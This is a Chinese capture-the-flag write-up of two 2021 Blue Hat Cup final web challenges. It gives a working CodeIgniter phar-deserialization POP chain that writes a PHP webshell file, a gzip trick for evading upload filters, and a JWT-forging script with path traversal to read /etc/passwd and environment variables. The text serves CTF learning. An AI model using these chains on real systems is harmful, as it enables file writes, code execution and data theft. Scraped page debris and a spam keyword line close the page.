<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】2021藍帽杯決賽Web wp

    VSole2021-08-31 18:00:00


    題目給了源碼,本地搭建一下。

    框架是CodeIgniter。需要開幾個php拓展,用phpstudy直接開就行。網站->管理->php拓展 redis和intl。

    拿到源碼先看路由

    首先看到的是Upload路由,它接收了一個文件,file_get_contents讀出了這個文件,并過濾。所以文件內容不能含有HALT_COMPILER需要bypass。第二個過濾告訴我們白名單是什么。

    這里其實很容易想到phar反序列化。

    再來看一下Check路由

    發現使用了getimagesize且參數可控。getimagesize函數是可以觸發反序列化的。

    因此我們開始著手挖掘pop鏈。

    搜索__destruct發現這里的redis可控,可以觸發任意類的close。

    于是我們全局搜索close

    發現了這個close。當$this->redis存在時,try內的東西拋出錯誤的時候,就會進入catch方法。

    這里的$this->redis就需要用到我們的php拓展 redis中的類了。

    關于這里,logger是可控的,于是可以調用任意類的error

    找到了這個類,調用了log

    看下這個log方法。

    重點在這里。這些handlerConfig都是可控的,因此$className和$config也都是可控的所以說$this->handlers[$className]就可控,進一步,$handler也是可控的。

    查詢一下發現只有一個地方調用了setDateFormat

    它會給handler類的dateFormat屬性賦值。可以賦任意值。

    然后就是調用了handler類的handle方法。

    找到FileHandler類中的handle方法

    仔細觀察發現可以寫文件

    嘗試構造。

    先自己寫一個類

    namespace App\Controllers;
    class User extends BaseController{    public function index(){        return unserialize($_GET['ser']);;    }}
    

    然后開始構造EXP:

    namespace CodeIgniter\Session\Handlers{
        class RedisHandler{        protected $redis;        protected $logger;
            public function __construct($logger,$redis){            $this->logger=$logger;            $this->redis = $redis;        }    }}
    namespace CodeIgniter\Cache\Handlers{    class RedisHandler{        protected $redis;        public function __construct($redis){            $this->redis=$redis;        }    }}
    namespace CodeIgniter\Log{    class Logger{    }}
    namespace {    $c=new CodeIgniter\Log\Logger();    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);    echo urlencode(serialize($a));}
    

    首先第一步,構造前幾個類。前幾個類還是比較容易構造的。

    來仔細研究一下Logger類的參數該如何構造。

    為了防止出錯我們先把所有的參數復制過來,然后再修改。

    protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = [];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [];        public $logCache;        protected $cacheLogs = false;
    

    首先需要修改的就是$handlerConfig因為它影響了我們的$handler賦值

    鍵名為類名,值為類的實際參數,我們看一下我們要用的FileHandler類有哪些參數。然后把這些參數填入$config

    現在是這樣子的

    protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = [];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[            "path"=>"aa",            "fileExtension"=>"php",            "filePermissions"=>"aa"        ]];        public $logCache;        protected $cacheLogs = false;
    

    然后嘗試反序列化,調試。

    打進去單步調試,前幾步沒有太大問題

    到log這里就出現問題了,我們看下問題出現在哪里。

    經過調試發現,這個地方返回了true也就是說會直接出去。因此我們想辦法讓他過這個地方

    in_array是檢查數組中師傅含有該值,此時$level的值為

    因此我們給$this->loggableLevels賦值。

    把可用的都加上。

    經過調試發現這里會直接進入continue,不會進入下面。想辦法改一下。

    進入BaseHandler查看

    只要讓它返回true就好了。

    此時level為error,只要給handlers賦值就可以了。

    那我們繼續賦值

    這樣,就可以過這個地方了。

    進入handle方法,且參數都是我們控制的。

    但是這里有個waf,當后綴是php的時候,那么就會產生一個”死亡exit”

    這里的$date會被寫入,也就是dateFormat它也是我們可控的。

    因此第一次我們寫入的東西就是這樣子的

    這里加入了死亡exit,dateFormat的東西被寫進來了。

    因此再次更改exp。

    如果直接寫php的話,h會被date解析成小時,會變成這樣,于是就需要轉義符

    protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],                "path"=>"uploads/",                "fileExtension"=>"a.php",                "filePermissions"=>"aa"        ]];
    

    繞過死亡exit讓后綴不為php就行,我們讓他成為a.php

    ok成功寫入。

    鏈子已打通,嘗試構造phar。

    把php.ini的readonly關閉

    生成phar上傳

    不出所料,被過濾了,原因是phar中含有HALT_COMPILER那么 如何繞過?

    我們把這個phar拿去gzip一下

    gzip phar.jpg

    就可以繞過檢測。

    index.php/Check?file=phar://uploads/phar.jpg/test.txt
    

    觸發

    發現這里寫子目錄好像不太行,給他改成絕對路徑,因為本地測試和phar進入還是有點不一樣的

    最終exp

    namespace CodeIgniter\Session\Handlers{
        class RedisHandler{        protected $redis;        protected $logger;
            public function __construct($logger,$redis){            $this->logger=$logger;            $this->redis = $redis;        }    }}
    namespace CodeIgniter\Cache\Handlers{    class RedisHandler{        protected $redis;        public function __construct($redis){            $this->redis=$redis;        }    }}
    namespace CodeIgniter\Log{    class Logger{        protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],                "path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads",                "fileExtension"=>"bbb.php",                "filePermissions"=>"aa"        ]];        public $logCache;        protected $cacheLogs = false;    }}
    namespace {    $c=new CodeIgniter\Log\Logger();    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);    echo urlencode(serialize($a));    @unlink("phar.phar");    $phar = new Phar("phar.phar"); //后綴名必須為phar    $phar->startBuffering();    $phar->setStub(""); //設置stub    $phar->setMetadata($a); //將自定義的meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算    $phar->stopBuffering();
    }
    

    editjs

    這道題打開根據提示發現了JWT token

    http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key
    

    發現token

    K3yy
    

    使用jwt token進行偽造

    腳本

    import jwtimport time
    # payloadtoken_dict = {  "data": "admin",  "iat": int(time.time()),  # "iat": 1629784832 ,  "exp": int(time.time())+1800  # "exp": 1629786632}
    # headersheaders = {  "alg": "HS256",  "typ": "JWT"}print()jwt_token = jwt.encode(token_dict,  # payload, 有效載體                     key='K3yy',                       headers=headers,  # json web token 數據結構包含兩部分, payload(有效載體), headers(標頭)                        algorithm="HS256",  # 指明簽名算法方式, 默認也是HS256                       )print(jwt_token)
    

    如果沒有庫可以按照Pyjwt

    得到token就可以讀文件了

    這樣可以讀取到源碼。根據源碼進行審計

    發現這里使用了拼接。嘗試目錄穿越讀取

    發現可以讀到/etc/passwd

    注釋里說flag在環境變量,于是讀一下環境變量,就出了

    該是非預期了,預期解是GKCTF2021-easy
    
    rediscodeigniter
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    2021藍帽杯決賽Web wp。
    Redis系列漏洞總結
    2023-06-19 10:29:18
    前言Redis的未授權漏洞一直都是一個很火的漏洞,最近看許多前輩的文章自己復現后,根據自己的實踐再次總結一下,為日后復習方便回顧。Redis簡介redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。
    2在一次滲透測試中拿到一個ip地址52.80.249.xx,nmap端口掃描出22,6379,80端口,目標機是linux系統的一臺服務器,6379為redis的默認端口,嘗試對其進行利用。
    寫在前面需求是做一個秒殺系統,比如大家來搶100臺手機,先到先得。查閱了網上很多用redis實現秒殺的demo,竟然沒一個能用的!!!有些是php的,沒閑心研究了,現在說說為什么不能用:絕大多數的DEMO都是基于redis的watch特性的事務實現①,個別是基于redis分布式鎖實現②。當然還有些用了腳本的,我也沒仔細看是lua還是調用redis指令,哪有那個閑心去研究哇。并且使用這種方式實現呢,在并發量較大的時候,過多的重試線程應該會嚴重影響服務器性能。
    來自 Censys 的研究人員警告稱,互聯網上暴露的數以萬計未經身份驗證的 Redis 服務器正受到攻擊,威脅行為者正在針對這些實例安裝加密貨幣礦工。在公共互聯網上的 350,675 個 Redis 服務中,有 39,405 個未經身份驗證的 Redis 服務。
    Redis中的哈希問題
    2022-08-04 17:09:48
    還是對原有redis服務器數進行取模。這個其實是在redis2.X中的問題,因為redis2.X不支持冬天擴容。redis集群的每個節點負責一部分哈希槽,這種結構很容易添加或者刪除節點,并且無論是添加刪除或者修改某一個節點,都不會造成集群不可用的狀態。由于這些虛擬節點數量很多,均勻分布,因此不會造成"雪崩"現象。
    面對越來越多的高并發場景,限流顯示的尤為重要。 當然,限流有許多種實現的方式,Redis具有很強大的功能,我用Redis實踐了三種的實現方式,可以較為簡單的實現其方式。Redis不僅僅是可以做限流,還可以做數據統計,附近的人等功能,這些可能會后續寫到。
    redis弱密碼漏洞利用
    2021-11-25 07:00:19
    redis無認證,或者弱密碼,可以成功連接到redis服務器 反彈shell拿到的權限取決于redis的啟動賬號 操作: 1. Centos7安裝redis客戶端 #yum install redis --查看是否有redis yum 源#yum install epel-release --下載fedora的epel倉庫# yum install redis -
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类